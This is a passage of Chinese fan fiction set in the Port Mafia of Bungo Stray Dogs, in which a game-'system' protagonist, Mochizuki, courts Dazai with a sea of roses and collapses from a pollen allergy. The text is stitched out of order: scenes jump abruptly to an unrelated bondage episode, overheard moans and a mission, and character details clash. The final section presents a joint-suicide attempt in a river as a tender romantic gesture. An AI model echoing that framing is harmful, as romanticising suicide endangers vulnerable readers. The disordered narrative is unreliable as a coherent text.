太宰治慢吞吞地从沙发上爬起身,似乎把这儿当成了自己的猫窝,黑色的一坨缩在里头。 黑发少年的右眼和脖子上缠着厚厚一层绷带,漆黑的鸢眸看上去比往日里还要阴沉冰冷。 他看着金发萝莉和黑发男人一坐一站,本就烦躁的心情更加不爽。 太宰治故意拉长了声音,甜腻的嗓音听上去带着一股嘲讽之意。 “看起来您和自己的异能体一唱一和讲相声玩得很开心啊~” “所以,想问什么呢,森先生?” 哦呀,看来心情是真的很糟糕呢,太宰君。 森鸥外在心里感叹,而表面上却露出苦笑。 他无奈地歪了歪脑袋。 “太宰君,爱丽丝虽然是我的异能体,但也有自己的独立人格和思考方式哦。” “嗨~嗨。” 太宰治漫不经心地应了两声,显然没把森鸥外的话放到心里去。 毕竟这只黑心老狐狸的鬼话,最好听一半忘一半。 真相信了那就去该看看脑子了。 森鸥外倒是没对太宰治敷衍的态度生气,却又提起了一个新的话题。 像是不经意,又像是在试探。 “不过啊……太宰君一连三四天都往我的办公室跑,真是少见呐。” “不欢迎我吗?” “怎么会,你可是我唯一的弟子啊。” “那我就放心了,老师~” 两个人你一言我一句,爱丽丝在一旁听了都无语。 听上去关系亲密,至于里面有多少水分和阴阳怪调,那就只有他们自己知道了。 绵里藏针的话语之间,森鸥外率先露出了笑意。 他轻声说道。 “如果是跑过来帮我分担工作,那我可是在欢迎不过。” “不过现在看来,更像是在逃避什么事情。” “我很好奇呀,到底是什么能让太宰君都避之不及的。” “……我干的活还算少吗?真是个黑心老板。” 太宰瘪了瘪嘴,却没有直面回答森鸥外。 真讨厌啊。 这样的家伙,却是自己的老师。 太宰治的反应,也在森鸥外的意料之内。 气氛变得僵硬,沉默在房间里蔓延,只剩下蜡笔划过纸张时留下的摩擦声。 “我画完了哦!” 坐在地上的爱丽丝忽然地放下手中的粉色蜡笔,心满意足地喊道。 两个人精适时地顺着台阶而下,缓和气氛。 “画得真可爱呢,不愧是爱丽丝酱~” “画得真丑。” 太宰治则完全给出了和森鸥外截然相反的评价,毫不客气地说道。 反正在他眼里,爱丽丝就等于她的主人森鸥外,用不着多么礼貌。 “最没资格说这句话的人就是你了好吗!” 爱丽丝嘴角抽了抽,狠狠地翻了个白眼。 太宰治才没资格说自己画得丑呢! 之前这家伙画了幅自画像挂在首领办公室里,还以为是什么驱邪符。 爱丽丝扬了扬下巴,故意挑衅。 “阿啦,要不你也画一张,送给正主说不定对方会被太宰的画吓哭吧。” 太宰治面无表情地朝着爱丽丝伸出了手,未被绷带缠绕包裹,裸.露在空气中的手指苍白且修长。 冰冷、漆黑、扭曲…… 对方完全不加掩饰自己的态度,那股浓郁的恶意地快要让人呕吐出来。 爱丽丝立即察觉到危险,立即小跳后退,和太宰治拉开距离。 萝莉可爱的小脸变得有些难看。 她的手放在身后,硕大的注射针管也在手掌边若隐若现。 天敌。 作为世间罕有的「反异能者」,「能够抹消一切异能力」的「人间失格」对身为异能体的自己而言,太宰治的存在无异于就是一种天敌的存在。 ……讨厌的林太郎,为什么总让她来做这种事。 爱丽丝在心中不满地抱怨。 这时,森鸥外的声音忽然响起,恰到好处地打断二人的对峙。 “太宰君,不要这样吓唬可爱的爱丽丝酱。” 黑发男人的表情看上去很无奈,像是看到自己的两个孩子打起来的家长。 他忧郁地叹了口气,各打五十大板。 “爱丽丝酱也是,不可以在这里打架。” 爱丽丝顺势收起了武器,气鼓鼓着那张包子脸,朝着森鸥外发起脾气。 “……哼,林太郎这个笨蛋,大笨蛋!最讨厌林太郎了!再也不理你了!” 说完,她又任性地跑到一旁,好像不愿意再搭理对方的样子。 不过实际上可能只是为了躲开太宰治这个瘟神——身为异能体,对太宰这种反异能者的抵触和厌恶是与生俱来的。 “爱丽丝酱不要讨厌我啦~” 森鸥外委屈巴巴地说道。 “既然不想被讨厌,那一开始就别设定这样的性格啊。” 太宰治也收起了手,声音懒洋洋的。 他懒得管森鸥外和自己异能体玩得欢快的这个精分,只是站在爱丽丝刚刚留下的画的旁边。 太宰治低头。 虽然爱丽丝的画根本就是小孩子的随手涂鸦,但画中粉毛小人脸上灿烂的笑脸,不得不说很像本人。 他的心中升起一股难以描述的复杂情绪。 大概是觉得这张笑脸碍眼。 太宰治刚收回视线,就听见爱丽丝吵闹起来。 “呐呐,林太郎,快过来,快过来看!” 刚刚躲到一旁去的爱丽丝忽然大声喊着森鸥外的名字,似乎忘记了刚刚的闹剧和自己“再也不理对方”的言论。 金发萝莉趴在落地窗上,额头紧贴着透明玻璃,瞪大眼睛惊讶又欣喜地看着窗外——或是说港口mafia大楼的楼底。 那双玻璃珠般蓝色眼睛,目不转睛地看着眼前的景象。 “好多花啊,林太郎!” “真漂亮啊——” 森鸥外挑了挑眉。 他不紧不慢地走到爱丽丝的身边,随着对方的目光看去,也露出了惊讶的神色。 “哦呀哦呀,这真是……壮丽呢。 真有意思。 黑发男人紫红色的眸子中闪过一道光,脸上浮现出一丝看戏般愉悦的微笑。 森鸥外一边望着,一边问道。 “太宰君,你不过来一起看看吗?” “没兴趣。” “诶~”森鸥外的声音听上去似笑非笑,“但我觉得,太宰君会感兴趣的。” “……” 太宰治极不情愿地挪了过来。 他叹着气,原本就没精打采的声音听上去更加兴趣缺缺。 走到森鸥外和爱丽丝的身边,太宰治顺着二人的视线一边往下望去,一边漫不经心地问道。 “嗨~嗨,所以呢,是什……” 剩下的音节在喉咙里戛然而止。 太宰治愣住了。 红色。 如同火焰熊熊燃烧般的炙热,耀眼得令人无法呼吸。 又如鲜血般肆意流淌,宛如一片汪洋般,汇聚于脚下。 一旁的爱丽丝还在叽叽喳喳,大概是在惊叹之类的话。 铺天盖地的玫瑰海将港口mafia门口的那块空地全部填满。 无论是员工还是路过的陌生人,那一刻似乎都忘记了这里是黑手党的本部,不由自主地停下了脚步,或惊讶或兴奋地驻足围观。 在那片炽热的玫瑰花海中,一位样貌俊美的粉发少年站在其中,手中捧着一大束玫瑰花。 “滴、滴滴。” 放在口袋中的手机忽然开始震动,隔着口袋的布料依旧震得那块皮肤发麻,像是过电一般蔓延至全身。 太宰治沉默着看着地上的人们,对着那片玫瑰花铺成的海洋议论纷纷。 就在电话的响声即将中断时,太宰这才缓缓地从口袋里掏出手机,摁下接听键。 耳边响起那个家伙熟悉又温柔的声音,太宰治几乎能想象出对方脸上带着如何温暖的笑意。 “太宰小姐,可以下楼一趟吗?” “可别喝多在这里发酒疯了哦。” “啰嗦,我当然知道。” 中原中也低声骂了一句。 赭发少年声音顿了顿,环视了一眼四周,忍不住皱起眉,压低声音问道。 “望月呢?” 银发少年早在几天前就混入了服务员之中。 抛开这个家伙恶魔的天性外,的确很适合卧底以及暗杀之类的工作。 可以说是与生俱来的天赋。 听到中原中也的问题,太宰无辜地眨了眨眼睛。 “望月的话,现在正在接触目标哦。” 第 50 章 第五十章 酒厅内,穿着服务员装的银发少年端着托盘,脚步匆匆地穿梭在人群之中。 似乎是被一旁的台阶不小心绊了一下,银发少年惊呼一声,端着推盘的手一抖,直接浇在了前面客人的衬衫上,玻璃杯也摔在了地上,顿时七零八碎。 这边的动静顿时引起了许多人的注意。 领班匆匆赶过来,连忙道歉询问。 “英田先生,您没事吧?实在抱歉,这个孩子是新来的,手脚笨了些……” 田中感到愧疚不安。 他连忙从对方手里抢夺拖把和水桶,扛在了自己的肩上。 “打扫厕所的工作还是我来吧,望月君你去忙更要紧的事为好。” “可是……” “请务必交给我!不然我会过意不去的!” 田中猛地站直身体,然后朝着面前的粉发男生鞠了个90度的躬,声音里充满了感谢之意。 “因为我的缘故你才受到了牵连,真是非常对不起!所以扫厕所的任务就交给我吧!” 望月也没有过多客气,毕竟打扫卫生间这种事情,他的确也从来都没做过。 更何况,今天的自己……状况还有点不太对。 他向田中表示下次有空自己会请他吃饭便离开了。 “咳、咳咳。” 到了一处无人的角落,望月终于忍不住掩着嘴巴,轻声咳嗽起来。 喉咙里像是长出无数绒毛一般,又痛又痒;太阳穴处传来微微的刺痛,虽然暂时没有干扰到他正常的思考,却也是说不出的难受。 【玩家:望月 状态:[手臂轻伤][生病:低烧] …… 已攻略角色:无 数据统计:死亡次数0 重开次数0】 “哦呀……” 望月看着自己状态栏里多出来的那条[生病:低烧]时,困惑地眨了眨眼睛。 【噢噢噢终于轮到我出场的回合了!让我来介绍一下把!】 系统眼睛一亮,感觉自己找到了除了吐槽以外存在的价值,就差扯个小喇叭,兴奋地介绍起来。 【作为高自由、高仿真类的恋爱攻略游戏,玩家的状态和在游戏中的行动息息相关。】 【比如淋雨后可能会「感冒」;重伤未及时就医便有可能「死亡」;树敌过多可能会遭遇「暗杀」;攻略角色黑化可能会触发「囚禁」……】 【咳,为了玩家的体验我就不剧透更多了。】 【虽然[生病]属于dubuff,都也不完全都是负面效果。】 【玩家在[生病事件]中有概率触发各种随机事件。例如生病时露出的虚弱会惹起恋人的关心和心疼;攻略角色去家中照顾生病中的玩家……一切都由好感度决定。】 【当然,除了玩家生病以外,攻略角色们也会生病,到时候就是拉近关系刷好感度的绝佳机会!】 【在[生病事件]中,平时严肃冷漠的角色,却会为了你穿上围裙煮粥;吊儿郎当的家伙,照顾人时却意外的温柔细心;温柔系的恋人会因为你不愿好好休息而生气,露出强硬的一面……】 【——这就是反差啊反差!让人少女心爆棚dokidoki心跳不停的恋爱之力啊!】 【所以,不要犹豫地去向攻略角色撒娇吧!说不定还能收获到不一样的甜蜜剧情哦~】 【然而,这一切前提是好感度到达……】 系统看着太宰治名字后的好感度,失意体前屈中。 ——完了,怎么看这家伙的好感度都不可能达到触发条件啊! “啊,然而按照太宰小姐现在的好感度,[生病]对我而言单纯只是一个debuff呢。” 【是、是这样的呢……】 系统流泪猫猫头。 “嘛……这也没办法。”望月倒显得乐观,“那就乖乖回家一个人休息吧。对了,这个游戏应该没有时间限制吧?” 【呃,是没有时间限制,而且玩家随时可以重开游戏……】 “既然如此,我们就慢慢来吧。就像你最开始和我说的那样,要好好体验和享受这个游戏啊。” 生病的滋味可不好受,更何况这游戏做出的体感体验还这么的真切——着和现实世界里生病的感受没什么两样。 即便如此,望月并没有立即回去,而是回到办公室里,将今天必须完成、且不能脱手的工作解决掉,堪称老板们心中的模范员工。 不过,他糟糕的脸色还是引起了同僚的关心。 “望月你看起来脸色不太好?” “……嗯?啊,是……抱歉、今天我可能要先回去了。对了,坂本君,这份报告能帮我交给太宰小姐吗?” “诶、诶,我吗?呃,说实话我还挺害怕太宰先生的……” 坂本还记得自己刚入职那天,正好遇上太宰治处理叛徒。 虽说进入黑手党工作他已经做好了心理准备,但那血腥的场面,还是让他吐了个稀里哗啦,连做了好几天噩梦。 但最让坂本记忆深刻的,是太宰治开枪时的眼神。 冰冷、漆黑、无机质……仿佛黑洞一般,无穷无尽又空空如也;却又令人感觉轻飘飘的,永远也搞不懂他的想法。 ——所以被称为港口mafia的「黑色幽灵」啊。 虽然自己对这位鬼畜上司怂的不行,坂本还是接过了望月递给自己的资料。 “说起来,望月你倒是一点也不怕太宰先生呢。” “诶,因为太宰小姐那么可爱……看起来像是琉璃花瓶一样,美丽又脆弱,有没有好好在吃饭呢……啊,总之是让人忍不住想要关心她的类型呢。” “……等一下,我们两个说的真的是同一个人吗,你口中‘可爱的太宰小姐’难道不是某种幻想生物吗?” 坂本忍不住吐槽道。 ‘可爱’‘脆弱’……这些词叠放在太宰治身上后,莫名带上了一种诡异的惊悚感,让人起了一身鸡皮疙瘩。 系统都要流泪了。总算有人和自己是同一感受了。 “但话说回来……望月你为什么认为太宰准干部是女性啊?” 坂本的好奇之心让他忍不住发问。 即便周围的人直率或委婉地告知,望月都坚信不疑——就好像被什么东西洗脑了一样。 “唔,因为不管怎么看太宰小姐都是女性吧。” “即便他用的都是boku(男性自称)?”坂本试探着问道。 “不少女性都用男性自称吧,而且现在也有男性用女性自称呢。” “……所以太宰先生在眼里到底是什么一个形象啊!?” “漂亮又柔软的黑色长发,纤细曼妙的身材,完全就是一位十六七岁的美少女。” 望月毫不犹豫地说道。 “……望月你要不要去看医生,我记得首领原来是医生来着……哦不对,首领是外科医生,应该不治脑子……” 或许是工作费脑子的缘故,解决完必须的工作后,望月感觉自己烧得更加厉害了。 脸颊又红又烫,不用伸手触碰,光凭肉眼都能看出来那温度不低;从口腔里呼出的气也带着一丝烧灼之意。 离开办公室,经过漫长的走廊,到了楼梯间。 一步一步地走下楼,脚下的台阶都仿佛变成了云朵,踩一脚便深陷下去。 望月感觉自己的脑袋昏沉沉的,身边似乎过去一位莫名熟悉的赭红色身影,却已无精力去留意。 迷迷糊糊之间,脚下一空,眼前的画面猛地倾倒。 ——糟糕。 脑内警报声拉响,望月回过神来时,却已经来不及了。 要从楼梯上摔下去了。 望月本能地抬起手,想要保护住脑袋。 然而此时,一只戴着黑色手套的手及时地拉住了他的手臂,将他的身体朝自己的方向扯去,这才避免了这场惨剧的发生。 不过,拉住他的好心人可不知道自己拽住的位置,正好是望月昨日的缝针处。 “唔!” 从手臂伤口处传来的刺痛感令望月本能地轻呼了一声,疼痛至使全身的肌肉僵硬地无法动弹。 额间和后背也瞬间渗出了冷汗。 身后的陌生人问道。 “喂,你没事吧?” 咔嚓。 截图的声音响起。 画面上,一位穿着黑西装的赭发少年正拽着面前人的手臂,二人靠得很近,忽然拉近的距离让人心跳加速,那张帅气的脸在眼前放大。 少年的脸精致又凌厉,带着一种致命的危险感,但最让人记忆深刻的,还是那双仿佛大海般一望无际的蓝瞳。 【获得CG-「楼梯间的初遇」】 【滴】 【角色 「中原中也」 】 ——这不是另一位初始攻略对象中原中也吗! 系统感动得都要哭了。 终于、终于……他们这个游戏,终于有点乙女游戏该有的样子了! 在楼梯间意外的相遇,帅气的男主角出手相助,命运的红线将两个人联系在一起,一见钟情……多么让人心跳加速,少女心爆棚的浪漫场景! ——good、good、very good! 不过望月暂时可能没想这么多。 他朝着对方点了点头。 “谢谢。” 见他站定了身体,中原中也这才松开了握住对方手臂的手,瞥了眼对方的脸。 新人?哪个部门的? 龙头战争后港M人员流动频繁,他不可能记住所有人的脸;再加上之前他去欧洲出差了一个多月,这期间进来新成员也不奇怪。 “喂,在楼梯间多注意点脚下的路,刚刚那样很危险。” “谢谢您的帮助……” 中原中也也不是什么和陌生人多说的自来熟性格,便随口提醒了几句,摆摆手准备离开。 ……如果事情到这这里结束,或许还算是个完美结局。 “我会多注意的,这位可爱的小姐。” 面前的粉发少年这样说道。 “……哈啊?” 楼梯间的空气似乎凝滞住了,安静得连针落地的声音都能听见。 「…可爱的、小姐……?」 中原中也嘴角抽了抽,额头上冒出了个红色的十字路口。 【中原中也好感度-3】 ……他可以重新把这家伙踹下去吗? 望月眨了眨眼睛,无辜地说道:“吾辈可是用太宰教我的方式捆绑的哦。这个休息室里还为客人贴心地准备了不少道具嘛。” 他一边说着,一边好心解开了口枷的扣带。 在口枷掉下来后的第一秒,男人的脸上却露出一副「被爽到了」表情,下意识地脱口而出。 “好、好爽……” 望月:…… 这回连他都忍不住沉默了。 回过神来后,银发魅魔忍不住掩住自己的嘴,露出了嫌恶的表情。 “呜哇,抖M好恶心……kimo……” 系统:…… 回忆起银发恶魔平时那副抖M的模样,一股浓浓的吐槽欲涌上系统的芯片,被它硬生生地删除。 50-60 第 51 章 第五十一章(1w4营养液加更) 在看到银发少年身后的二人时,英田丸太愣了一下,拔高音量喊道。 “你们是什么人,敢这样对我?这里可是龙口组的地盘,你们敢在这里对我动手的话,那就是打了龙口组的脸,不会有好下场的!” 一旁的中原中也嫌他话多,直接一脚踩住了男人的胸口,顿时断了两根肋骨,疼得对方连连叫唤。 赭发少年声音冰冷。 “哈啊?喂,在你倒卖港口mafia的货物的时候,想过自己会是什么下场了吗?” 中原中也一边说着,脚下的力道又加重了几分。 让男人没法发出痛苦的嚎叫。 杀意。 一股浓郁的杀意朝自己的扑面而来,只有真正的黑手党才会有的气势。 他们是港口mafia的人。 男人顿时吓得变了脸色,身上的汗是因为疼痛也是因为恐惧。 自己只是色心大发了一下,结果就进了陷阱,也更没想到港口mafia的人会出现在这里。 挂断了电话,在等待的时间里,望月欢快地和脑内系统聊起了天。 ‘真是辛苦你了。’ 【呜呜呜呜我现在终于有了点身为恋爱攻略系统的实质感了,之前我一直以为自己就是个负责吐槽的捧哏呢T T】 幸亏黑手党是份高薪职业,在这三天里他跑遍了横滨所有的花店,这才买下全横滨的红玫瑰。 在系统的帮助下,这些玫瑰被运送过来,铺满整个港口mafia大楼楼底。 但望月心中还是有些遗憾。 仅仅是全横滨的玫瑰,看起来还是太少了啊。 如果是在现实中就可以方便更多了。按照望月家的人脉和财力,只需要一个电话,全关东的红玫瑰都买下来完全不成问题;而且用直升机运输的话,一天之内就能到横滨了。 唔,如果让环和镜夜他们帮忙,或许还能更快? 望月思索着,完全不觉得自己思考的事让庶民们听到只会在心中暗骂‘该死的有钱人’。 说起来,感觉鼻子和眼睛痒痒的。 望月腾出一只手,抹了抹自己的眼圈,又好像没什么问题。 是错觉吧。 望月思考着,而系统捂住了自己并不存在的心脏,忍不住为自家宿主打call。 【天呐这简直太罗曼蒂克了,没有什么比玫瑰花海中的告白更让人心动的了。少女漫中温柔多金的王子,站在玫瑰花海中向心爱的人深情告白什么的……绝对会上到「恋爱漫画~dokidoki十大名场面」的啊!!】 但就是性别似乎有些不太对……男主和女主的位置换了个边……不对,我们这边甚至不能算是「女主角」…… 系统默默在心中挠墙。 啊啊啊啊这混乱的错位感T T…… 周围的路人似乎围过来越来越多,对眼前华丽的景象,忍不住地拿起手机拍照。 围观群众不只是过路人,还是部分港口mafia的成员,只是觉得花海中的粉发少年有些眼熟,不过一时间没认出来。 但不管对方是哪个部门的,吃瓜终究是人类的天性。 坂本听说门口围了很多人,还以为出了什么事,下来想看个新鲜。 结果到了门口,就看到熟悉的同事。 ——这不是望月吗?! “诶、望月?……等一下,这里的花原来是你的吗?” 坂本惊讶。 看热闹没想到遇上熟人了。 他走过来,习惯性地拍了拍望月的肩膀,开始对这一大片玫瑰铺成的红色花海啧啧称奇。 “望月你搞这么多玫瑰花是要干什么啊?哟,手上还有一捧。”坂本摸着自己的后脑勺,打趣地笑了两声,“这么浪漫的,不会是告白吧哈哈哈哈……” 望月微笑。 坂本沉默着放下了手。 “……不会真是告白吧。” 望月点了点头。 坂本瞳孔地震。 “不不不,等会儿,真是告白啊?”坂本的语速飞快,犹如连珠炮般叭叭问个不停,“也没见你和哪个女生多亲近啊,除了之前那段时间常去医务室,和酒井女士闲聊几句以外,好像也没其他女性了啊……” “啊不,等一下,难道说是……” 望月微笑。 声音戛然而止,这个人的名字便在沉默中不言而喻了。 坂本…坂本不知道自己该以什么样的心情或者表情来对此做出反应。 简而言之就是呆住了。 千万句想说的话在脑海里翻滚,不断合并又分开,眼前像是出现了无尽的宇宙。 如何换任何一个人作为告白对象,坂本觉得自己的反应可能都不会这么大。 然而,那可是太宰啊!太宰治啊!! 这无异于你的好兄弟告诉你他要去告白,你问他告白对象是谁,他告诉你是咱俩的教导主任。 ——望月你也不至于这么想不开吧! 好吧,虽然太宰先生看上去一副纯天然无公害的样子,但本质上还是个危险分子。 如果让他选择不想遇上的敌人,在中原先生和太宰先生之间,自己会毫不犹豫地投给太宰先生。 坂本不由自主地回忆起前段时间,帮望月买东西送过去的那件事。 自己好像说了“太宰先生就拜托你了”之类的话。 但他的本意是让望月守护太宰先生可能有女装癖这个秘密,倒没让你把自己整个人搭上啊! 坂本猛地摁住了望月的肩膀,神情焦急。 “虽然我之前有说‘太宰先生就拜托你了’,但、但我并不是这个意思啊……听我说,望月,你年纪轻轻的,还有大好的时光,现在回首还来得及——” 就在坂本苦口婆心试图让自己这个天真又可怜的小同事清醒过来时,背后响起了平静的少年声。 “‘来得及’什么?” “来得及迷途知返啊!!” 坂本下意识地喊道。 扭过头,在对上太宰治的脸时,瞬间被冰冻在原地。 “太、太宰大人……” 太宰治一言不发地注视着他,虽然这眼神并未包含任何实质上的含义,却让坂本感受到冬日里冰窟的极致感受。 望月不知道坂本的心理戏。 只是在看到太宰治时,脸上的笑意更浓。 “太宰小姐,您终于来了。” 太宰治没有说话,只是沉默地看着面前的粉发少年。 周围人也沉默了。 除了不明所以的过路人,那些原本探头出来吃瓜的港口mafia的成员们,在看到那张脸和标志性的绷带后,和坂本做出了同一反应,噤若寒蝉。 ——等一下,这一位不会就是被告白对象吧? 原本抱着吃瓜的想法过来围观,突然发现这瓜比想象中要大好多。 ——居然有人不要命地向太宰大人告白了?! 而当事人看上去一副无所畏惧的样子。 可谓是勇者无敌。 望月微笑着看着面前的黑发少女,周围的一切像是被笼罩上一层粉红色的气泡特效。 他站在一片红色的玫瑰花海之中,温柔地注视着眼前的黑发少女。 太阳恰到好处地从云层后钻出,明艳的阳光温暖,却又不过分刺眼。那双琥珀色的眸子在阳光下,呈现着一种璀璨的金色,仿佛将太阳装进了那双眼睛里。 空气中弥漫着属于玫瑰特有的诱人清香,让人不由得感到恍惚。 太宰治的眸色闪了闪,放在身侧的手指不由自主地微微动了一下。 他微微启唇,平静的声音听上去带着一种似笑非笑的嘲讽之意。 “所以,这就是你所准备的?” “是的,准备这些稍微花了一些工夫,让您久等了。” 望月温柔地笑着,精致的眉眼带着一丝柔情,眼圈却微微泛红,似乎快要哭出来一样。 “但是……” “为了这一刻的到来,之前所做的所有事情,对我而言是无比的值得。” 说着,在所有人的注视下,望月单膝跪地。 黑发少女的眼睛微微瞪大,低下头,下意识绷紧身体。 既是警惕,也是迷茫。 『这回你又要说什么谎话呢?』 望月深呼吸一口气,感觉自己心跳加速,呼吸变得有些艰难。 是因为紧张? 啊,毕竟是终于要到游戏的这个篇章了。 这可是攻略中的关键啊。 这是他玩galgame多年做出的游戏总结。 和其他属性不同,郁娇系美少女是会隐藏自己内心,她们的感情看似冷淡,实际比谁都要火热。冷漠、高傲、无动于衷,都是用来保护自己心里的武装。 只需要一件关键事件打破这层心之壁垒,好感度就可以飙升到最高。 是的,我已经完全明白了一切。 ——成败在此一举。 望月闭上眼睛,又再次睁开。 一阵微风吹来,卷起零落的玫瑰花瓣,纷纷扬扬,飘洒着飞舞在空气中,汇聚成线,像是被吸到天上一样逐渐消失。 玫瑰的芬芳更加浓郁。 粉发少年露出一个温柔又灿烂的微笑。 “这位美丽的小姐,我可以追求……啊啾!” 不合时宜的喷嚏声打断了这段感动的台词。 众目睽睽之下,粉发少年茫然地吸了吸鼻涕。 望月看到自己伸出的手腕上,冒出了眼熟的红斑,脸上的瘙痒和眼圈的刺痛此时也愈发明显。 他沉寂了一瞬。 ‘说起来……系统……’ 【是?】 宿主突然的提问让它疑惑了一下。 ‘请问游戏里的身体也是按照我现实中来的吗?’ 【为了保证玩家的真实感受,提供最佳的游戏体验,我们游戏会对玩家体质进行略微上调的同时,尽可能还原玩家的身体情况。】 【无论是外貌体型还是身体体征,小到身体上的痣,都能够完美再现。】 ‘外形是其次,你们还原的……包括玩家某些先天性体质吗?’ 【是的,例如玩家的口味喜好,畏寒怕热,近视过敏之类的——等一下,】 系统停顿了一秒,心中产生了一种不妙的预感。 【难不成宿主你……】 “——啊啾!” 望月立即给出了答案。 在太宰治的注视之下,他再一次,狠狠地打了个喷嚏,因为缺氧而脑袋晕乎乎的。 此时此刻,望月手上的那束玫瑰花显得萎靡不堪,蔫儿吧唧地垂下了脑袋。 粉发少年无法自控地开始流眼泪,眼圈和鼻尖通红,像是受到了极大的委屈似的,让人不禁为之感到心疼。 “啊啾、啊啾、啊啾——” 粉发少年一连打了好几个喷嚏。 脑袋晕乎乎的,比喝了葡萄酒还要难受的感觉。 望月感觉此时自己整个人头重脚轻,天旋地转,似乎下一秒就要栽倒在地上。 ……事实上也的确如此。 “咚——” 太宰治看着眼前的粉发少年直直地,一头栽倒在自己面前的地上,手中的玫瑰花束掉在一旁的地上,琥珀色的眸子里转起了蚊香。 周围的围观群众鸦雀无声,一脸茫然地看着中心的两位主人公。 黑发少年站在那堆盛开的玫瑰花海中间,看着晕过去的某人,平日里运转飞快的大脑也有一瞬间的呆滞。 “啊——啊——” 该死的乌鸦适时地从头顶飞过,发出尖锐的嘲笑。 回过神来,太宰治的嘴角狠狠地抽了抽。 ……你个笨蛋,连自己花粉过敏都不知道吗?? 然而,在靠近内室后,还不及他们伸出手,便听到了从门缝间传出的暧昧的喘息,以及如哭如泣般的抽噎声与呻|吟声。 “哈……嗯啊……先生好厉害、轻一点……” 少年谄媚又可怜的叫唤着,能够听出清脆的嗓音染着情|欲。 两个男人顿时一僵,僵硬地扭过头对视了一眼,脸颊通红。 他们从彼此眼中看出同样的尴尬。 现在要怎么办? 如果不是可疑人物而是客人,进去会不会打扰两位了? 第 52 章 第五十二章 在任务开始的几日前。 两位年轻的黑手党在港口mafia顶层的办公室内,向首领汇报起近日的情况。 办公桌前,黑发男人的肩膀上披着一条红围巾,微笑着点头示意。 工作汇报结束后,男人也没有什么首领架子,态度随和地与自己的这两位年轻的部下闲聊起自己遇到的趣事。 ‘说起来,之前和吉田会社的社长吃饭的时候,他跟我说了一个烦恼。他最近养了只柴犬,带出去的时候总是捡乱七八糟的东西吃。’ ‘可惜我也没养过狗,对这些也没有经验和了解。’ 如果说世界上什么人是太宰治难以理解的,大概只有望月了。 与其说是脾气好不会生气,倒不如说是过度包容。 如果只是假装、或是扮演,太宰治一眼便能识破。作为「操心师」,想要读懂对方内心的真实情绪实在是太简单了。 可望月对自己所展现出来的善意,纯粹得不加掩饰,让人有些无法理解。 太宰治很确信,这个世界上从来不会存在莫名其妙的善意。 目的、企图、利益……世界一切的人际关系都是以此为基础构建的,人类生来都会有自己的欲望。 金钱?权力?单单只是为了这些而忍受讨好自己?想要依靠自己往上爬,还是作为森先生的眼睛负责监视? 如果这样,答案未免也太无趣了。 那么,还有什么呢? 纯粹的,包容的,不计回报的…… 太宰治抬起头,注视着望月那双琥珀色的眸子,眼中闪过一抹冷意,脸上却笑了起来。 “啊~秘书先生是想要拉我上去吗?不需要啊,我是在自杀哦。” 然后你会怎么做?是强硬地拉我起来,还是苦口婆心地告诉我不要自杀,自杀不好? 太宰治脸上的笑容逐渐变得嘲弄。 然而下一秒,他却听见面前的粉发少年说道, “——要我和一起殉情吗,这位美丽的小姐?” …… 【不对不对不对!宿主你应该阻止太宰自杀才对啊!为什么是殉情啊!】 比起愣住的太宰治,系统先一步在望月的脑内尖叫了起来。它仿佛看到了宿主选择了一个必掉好感度的选项。 按照游戏剧情,这里玩家应该选择下水把太宰治捞起来,阻止他自杀,用温柔的话语温暖融化太宰的阴郁……你怎么不按套路来! 而望月完全无视了脑内系统的声音,甚至没有在意太宰治的反应,径直跳进了河中。 咕咚。 河面上溅起一圈水花,涟漪不断蔓延。 横滨的五月比想象中还要寒冷。 望月不是不会游泳,只是单纯模仿着太宰刚刚的样子,控制四肢不去挣扎。 刺骨的河水毫不客气地掠夺走身体的最后一丝温度,争先恐后地从鼻腔、耳朵内钻进来,试图占据肺泡中空气的位置。 即便这里只是个游戏,「死亡」的感受却无比的真实,让他都吓了一跳。 溺水……原来是这种感觉吗? 望月脑内恍惚,忽然冒出这个想法。 【所以说这个选项根本没有意义啦!就算死亡读档好感度也不会继承的啊!】 系统在脑内尖叫着。 望月张开嘴,似乎想要说些什么,却被水堵住了气管,半透明的气泡从嘴巴里冒出,摇摇晃晃地朝着水面浮去。 太宰治几乎冷漠地看着粉发少年脸上露出本能的痛苦。 吸饱了水的西装比想象中要重,面前的粉发少年只是象征性般挣扎了几下,发出咕噜咕噜的声响。 太宰治静静地等待着这家伙挣扎起来,逃向岸边。 然而他却发现粉发少年像是坦然接受了事实一般,放任着身体一点点往水底沉去。 照理来说,在面对死亡时的挣扎是生物的本能,可望月看上去却没什么反应,秀气的眉毛微微蹙起,紧闭着眼睛像是安静沉睡。 看着对方似乎真的就要失去意识,也没有任何挣扎和游上岸的举动,太宰治黑着脸,拽着这混蛋的后衣领拖到了岸边。 黑发少年几乎是用甩的动作,把他丢到了地上。 两个人此时都是浑身湿透,望月狼狈地趴在岸上,气管被水堵住,害得他咳嗽不止;太宰治则冷着脸,毫不客气地冷嘲热讽起来。 “啊~啊,看看你现在的样子,狼狈又可笑。你果然是脑子有病啊望月君,我倒是有认识不错的医生,需要帮你介绍吗?” 太宰治已经想好回去之后怎么让这家伙累成狗了。 “咳、咳咳……好可惜,咳、没能和太宰小姐殉情成功。” 勉强止住了咳嗽,望月这才抬起头,对上太宰治没有温度的鸢眸,眨了眨眼睛。 粉发少年脸上的笑容显得十分碍眼。 太宰轻啧一声,冷笑道。 “我可没有和男人死在一起的癖好。” “咳咳、我也是,但一想到是和太宰小姐这样的美人一起殉情的话,便甘之如饴。” “或者说,是因为太宰小姐我才这么心甘情愿。” ……后悔了,刚才还是让这家伙淹死,然后随便对付一下森先生那边得了。 太宰治的表情更加冷峻。 “你的脑袋终于彻底坏掉了吗?”太宰讥讽道,“你是想用这种方法阻止我自杀吗?真是愚蠢。” “你在想什么?” 会有人以自杀的方式阻止另一个人自杀吗? “诶?我倒是什么都没想啦……” 望月想了想,脸上的笑容更加灿烂。 “只是觉得太宰小姐那时候的表情,看起来很寂寞啊。” “一个人自杀很孤独的话,两个人一起殉情,说不定就不会那么孤独了。” “……” 太宰治越发确信眼前这家伙的脑子有病了。 黑发少年磨了磨牙,面色漆黑,一字一顿地问道。 “所以,就算是死也没关系吗?” “是的。不过看来我还是比较幸运。” “为什么?” 望月第一次没有回答自己的问题。 面前的粉发少年忽然抬起手,小心翼翼地将他脸颊旁边的鬓发别在耳后,温柔地像是对待某种易碎的玻璃制品似的。 带着温度的手指不小心蹭过耳廓,太宰治没有躲开,只是冷漠地斜了眼对方靠近的手掌。 这种感觉好像终于摸到了路边的野猫。 他注视着面前的黑发少女,仿佛眼里只剩下对方一人,笑意温柔。 